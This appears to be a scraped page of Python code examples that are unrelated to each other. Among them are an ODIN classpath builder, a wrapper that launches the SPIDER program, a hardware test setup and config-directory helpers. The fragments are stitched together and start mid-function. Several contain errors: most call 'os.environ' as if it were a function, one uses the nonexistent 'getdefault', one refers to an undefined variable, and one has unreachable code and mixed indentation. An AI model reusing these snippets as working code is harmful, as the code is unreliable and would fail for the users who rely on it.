            else:
                cwd = os.getcwd()
        except:
            cwd = os.getcwd()
            
        args = sys.argv[:]
        args.insert(0, sys.executable)

        # init start context
        self.START_CTX = {
            "args": args,
            "cwd": cwd,
            0: sys.executable
        }
Beispiel #55
0
def main(argv):
    ODIN_classpath=argv[1]
    if not ODIN_classpath:
        return ''
    unix_paths=[os.environ('ODIN_JAVA_OUTPUT_DIRECTORY')]+\
                file(ODIN_classpath).read.split('\n')
    if os.environ.getdefault('ODIN_JAVA_WINDOWS_COMPILER', None):
        r=re.compile(to_windows_re)
        paths=[to_windows(_, r) for _ in paths]
        return string.join(paths, ';')
    return string.join(unix_paths, ':')
    pass
	def __init__(self, spiderexec=None, dataext='.spi', projext=".bat", logo=True, 
	 nproc=1, spiderprocdir="", term=False, verbose=False, log=True):
		# spider executable		
		if spiderexec is None:
			if os.environ.has_key('SPIDER_LOC'):
					self.spiderexec = os.path.join(os.environ['SPIDER_LOC'],'spider')
			else:
					try:
						self.spiderexec = subprocess.Popen("which spider", shell=True, stdout=subprocess.PIPE).stdout.read().strip()
					except:
						self.spiderexec = '/usr/local/spider/bin/spider'
			#print "using spider executable: ",self.spiderexec
		else:
			self.spiderexec = spiderexec

		self.logo = logo
		self.dataext = dataext
		if dataext[0] == '.': self.dataext = dataext[1:]
		self.projext = projext
		if projext[0] == '.': self.projext = projext[1:]
		if spiderprocdir is None:
			spiderprocdir = os.environ('SPPROC_DIR')
		else:
			spiderprocdir = spiderprocdir

		### Start spider process, initialize with some MD commands.
		#self.spiderin = open(self.spiderexec.stdin, 'w')
		self.logf = open("spider.log", "w")
		self.starttime = time.time()
		if verbose is True:
			self.spiderproc = subprocess.Popen(self.spiderexec, shell=True, 
				stdin=subprocess.PIPE, stderr=subprocess.PIPE, env={'SPPROC_DIR': spiderprocdir})
		elif log is False:
			self.spiderproc = subprocess.Popen(self.spiderexec, shell=True, 
				stdin=subprocess.PIPE, stdout=open('/dev/null', 'w'), stderr=subprocess.PIPE, 
				env={'SPPROC_DIR': spiderprocdir})
		else:
			self.spiderproc = subprocess.Popen(self.spiderexec, shell=True, 
				stdin=subprocess.PIPE, stdout=self.logf, stderr=subprocess.PIPE, 
				env={'SPPROC_DIR': spiderprocdir})

		self.spiderin = self.spiderproc.stdin
		#self.spiderout = self.spiderproc.stdout
		self.spidererr = self.spiderproc.stderr

		self.toSpiderQuiet(self.projext+"/"+self.dataext)
		if term is False:
			self.toSpiderQuiet("MD", "TERM OFF")
		self.toSpiderQuiet("MD", "RESULTS OFF")
		if nproc > 1:
			self.toSpiderQuiet("MD", "SET MP", str(nproc))
		if self.logo is True:
			self.showlogo()
def do_test():
    import lcatr.schema
    reb_id = os.environ["LCATR_UNIT_ID"]
    if (len(reb_id.split("-")) != 3):
        raise Exception("ERROR: Invalid REB ID format: %s" % (reb_id))
	return

    remote = None
    if (os.environ.has_key('TSREB_SSH_LOGIN')):
	remote = os.environ('TSREB_SSH_LOGIN')

    reb_id = reb_id.split("-")[2]
    tsp = tsreb_test(reb_id, remote=remote)
Beispiel #58
0
 def __init__(self, controller):
     try:
         if not "XDG_CONFIG_HOME" in os.environ:
             self._theme_dir = os.path.expanduser("~/.config/alienfx")
         else:
             self._theme_dir = os.path.join(
                 os.environ("XDG_CONFIG_HOME"), "alienfx")
         if not os.path.exists(self._theme_dir):
             os.makedirs(self._theme_dir)
     except Exception as exc:
         logging.error(exc)
     self.theme = {}
     self.theme_name = ""
     self.controller = controller
Beispiel #59
0
    def make_process(self, loop, id, on_exit):
        """ create an OS process using this template """
        params = {}
        for name, default in self.DEFAULT_PARAMS.items():
            params[name] = self.settings.get(name, default)

        os_env = self.settings.get('os_env', False)
        if os_env:
            env = params.get('env', {})
            env.update(os.environ())
            params['env'] = env

        params['on_exit_cb'] = on_exit

        return Process(loop, id, self.name, self.cmd, **params)